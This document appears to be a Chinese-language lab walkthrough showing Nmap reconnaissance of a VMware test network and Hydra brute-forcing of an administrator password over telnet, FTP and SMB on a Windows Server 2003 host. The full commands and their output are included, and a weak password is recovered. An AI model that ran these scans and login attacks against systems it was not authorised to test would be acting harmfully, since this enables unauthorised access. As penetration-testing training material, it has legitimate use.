#探测10.1.1.0网段有哪些主机在线
C:\Users\Administrator>nmap -sP 10.1.1.0/24
Starting Nmap 7.92( https://nmap.org ) at 2021-12-05 21:38 ?D1ú±ê×?ê±??
Nmap scan report for10.1.1.2
Host is up (0.00s latency).
MAC Address: 00:0C:29:F6:15:1A (VMware)
Nmap scan report for10.1.1.5
Host is up (0.00039s latency).
MAC Address: 00:0C:29:5B:89:83 (VMware)
Nmap scan report for10.1.1.100
Host is up.
Nmap done: 256 IP addresses (3 hosts up) scanned in7.89 seconds
#启用操作系统探测,查看系统开启的端口
C:\Users\Administrator>nmap -O 10.1.1.0/24
Starting Nmap 7.92( https://nmap.org ) at 2021-12-05 21:40 ?D1ú±ê×?ê±??
Nmap scan report for10.1.1.2
Host is up (0.00045s latency).
Not shown: 992 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp openftp23/tcp open telnet
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1028/tcp open unknown
1062/tcp open veracity
3389/tcp open ms-wbt-server
MAC Address: 00:0C:29:F6:15:1A (VMware)
Device type: general purpose
Running: Microsoft Windows 2003
OS CPE: cpe:/o:microsoft:windows_server_2003::sp1 cpe:/o:microsoft:windows_server_2003::sp2
OS details: Microsoft Windows Server 2003 SP1 or SP2
Network Distance: 1 hop
Nmap scan report for10.1.1.5
Host is up (0.00057s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
49154/tcp open unknown
49155/tcp open unknown
49157/tcp open unknown
MAC Address: 00:0C:29:5B:89:83 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 7|8|Vista|2008
OS CPE: cpe:/o:microsoft:windows_7::-:professional cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2008::sp1
OS details: Microsoft Windows 7 Professional or Windows 8, Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7, Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008
Network Distance: 1 hop
Nmap scan report for10.1.1.100
Host is up (0.00043s latency).
Not shown: 994 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
902/tcp open iss-realsecure
912/tcp open apex-mesh
1688/tcp open nsjtp-data
No exact OS matches forhost(If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=12/5%OT=135%CT=1%CU=32317%PV=Y%DS=0%DC=L%G=Y%TM=61ACC1
OS:66%P=i686-pc-windows-windows)SEQ(SP=104%GCD=1%ISR=108%TI=I%CI=I%II=I%SS=
OS:S%TS=U)OPS(O1=MFFD7NW8NNS%O2=MFFD7NW8NNS%O3=MFFD7NW8%O4=MFFD7NW8NNS%O5=M
OS:FFD7NW8NNS%O6=MFFD7NNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF
OS:70)ECN(R=Y%DF=Y%T=40%W=FFFF%O=MFFD7NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A
OS:=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=40%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=
OS:Y%T=40%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=O%F=R%O=%R
OS:D=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=
OS:0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U
OS:1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=Z%RUCK=G%RUD=G)IE(R=Y%DF
OS:I=N%T=40%CD=Z)
Network Distance: 0 hops
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (3 hosts up) scanned in32.34 seconds
# 查看主机是否打开指定端口
C:\Users\Administrator>nmap -p 21,2310.1.1.2
Starting Nmap 7.92( https://nmap.org ) at 2021-12-05 21:45 ?D1ú±ê×?ê±??
Nmap scan report for10.1.1.2
Host is up (0.00076s latency).
PORT STATE SERVICE
21/tcp openftp23/tcp open telnet
MAC Address: 00:0C:29:F6:15:1A (VMware)
Nmap done: 1 IP address (1host up) scanned in0.24 seconds
#查看服务版本
C:\Users\Administrator>nmap -p 21,2310.1.1.2 -sV
Starting Nmap 7.92( https://nmap.org ) at 2021-12-05 21:47 ?D1ú±ê×?ê±??
Nmap scan report for10.1.1.2
Host is up (0.00089s latency).
PORT STATE SERVICE VERSION
21/tcp openftp Microsoft ftpd
23/tcp open telnet Microsoft Windows XP telnetd
MAC Address: 00:0C:29:F6:15:1A (VMware)
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1host up) scanned in0.56 seconds
#全面扫描
C:\Users\Administrator>nmap -A 10.1.1.2
Starting Nmap 7.92( https://nmap.org ) at 2021-12-05 21:48 ?D1ú±ê×?ê±??
Nmap scan report for10.1.1.2
Host is up (0.00030s latency).
Not shown: 992 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp openftp Microsoft ftpd
23/tcp open telnet Microsoft Windows XP telnetd
| telnet-ntlm-info:
| Target_Name: WIN2003-XDD1
| NetBIOS_Domain_Name: WIN2003-XDD1
| NetBIOS_Computer_Name: WIN2003-XDD1
| DNS_Domain_Name: win2003-xdd1
| DNS_Computer_Name: win2003-xdd1
|_ Product_Version: 5.2.3790
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 20033790 Service Pack 2 microsoft-ds
1028/tcp open msrpc Microsoft Windows RPC
1062/tcp open msrpc Microsoft Windows RPC
3389/tcp open ms-wbt-server Microsoft Terminal Service
MAC Address: 00:0C:29:F6:15:1A (VMware)
Device type: general purpose
Running: Microsoft Windows 2003
OS CPE: cpe:/o:microsoft:windows_server_2003::sp1 cpe:/o:microsoft:windows_server_2003::sp2
OS details: Microsoft Windows Server 2003 SP1 or SP2
Network Distance: 1 hop
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp, cpe:/o:microsoft:windows_server_2003
Host script results:
|_nbstat: NetBIOS name: WIN2003-XDD1, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:f6:15:1a (VMware)| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)| smb-os-discovery:
| OS: Windows Server 20033790 Service Pack 2(Windows Server 20035.2)| OS CPE: cpe:/o:microsoft:windows_server_2003::sp2
| Computer name: win2003-xdd1
| NetBIOS computer name: WIN2003-XDD1\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2021-12-05T21:49:02+08:00
|_smb2-time: Protocol negotiation failed (SMB2)|_clock-skew: mean: -4h00m00s, deviation: 5h39m23s, median: -8h00m00s
TRACEROUTE
HOP RTT ADDRESS
10.29 ms 10.1.1.2
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1host up) scanned in91.85 seconds
#将扫描信息保存至D盘a文件
C:\Users\Administrator>nmap -O 10.1.1.2 -oN d:\a
Starting Nmap 7.92( https://nmap.org ) at 2021-12-05 21:52 ?D1ú±ê×?ê±??
Nmap scan report for10.1.1.2
Host is up (0.0011s latency).
Not shown: 992 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp openftp23/tcp open telnet
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1028/tcp open unknown
1062/tcp open veracity
3389/tcp open ms-wbt-server
MAC Address: 00:0C:29:F6:15:1A (VMware)
Device type: general purpose
Running: Microsoft Windows 2003
OS CPE: cpe:/o:microsoft:windows_server_2003::sp1 cpe:/o:microsoft:windows_server_2003::sp2
OS details: Microsoft Windows Server 2003 SP1 or SP2
Network Distance: 1 hop
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1host up) scanned in2.64 seconds
Hydra
# -l username 指定用户 -L File 指定用户文件 -p 指定密码 -P FILE指定密码文件
E:\SoftWare\thc-hydra-windows-master>hydra.exe -l administrator -P D:\pass.txt 10.1.1.2 telnet
Hydra v8.1 (c)2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2021-12-05 22:10:18
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 6 tasks per 1 server, overall 64 tasks, 6 login tries (l:1/p:6), ~0 tries per task
[DATA] attacking service telnet on port 23[23][telnet] host: 10.1.1.2 login: administrator password: 1234561 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2021-12-05 22:10:21
E:\SoftWare\thc-hydra-windows-master>hydra.exe -l administrator -P D:\pass.txt 10.1.1.2 ftp
Hydra v8.1 (c)2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2021-12-05 22:11:26
[DATA] max 6 tasks per 1 server, overall 64 tasks, 6 login tries (l:1/p:6), ~0 tries per task
[DATA] attacking serviceftp on port 21[21][ftp] host: 10.1.1.2 login: administrator password: 1234561 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2021-12-05 22:11:26
# 445 共享服务
E:\SoftWare\thc-hydra-windows-master>hydra.exe -l administrator -P D:\pass.txt 10.1.1.2 smb
Hydra v8.1 (c)2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2021-12-05 22:15:35
[INFO] Reduced number of tasks to 1(smb does not like parallel connections)[DATA] max 1 task per 1 server, overall 64 tasks, 6 login tries (l:1/p:6), ~0 tries per task
[DATA] attacking service smb on port 445[445][smb] host: 10.1.1.2 login: administrator password: 1234561 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2021-12-05 22:15:36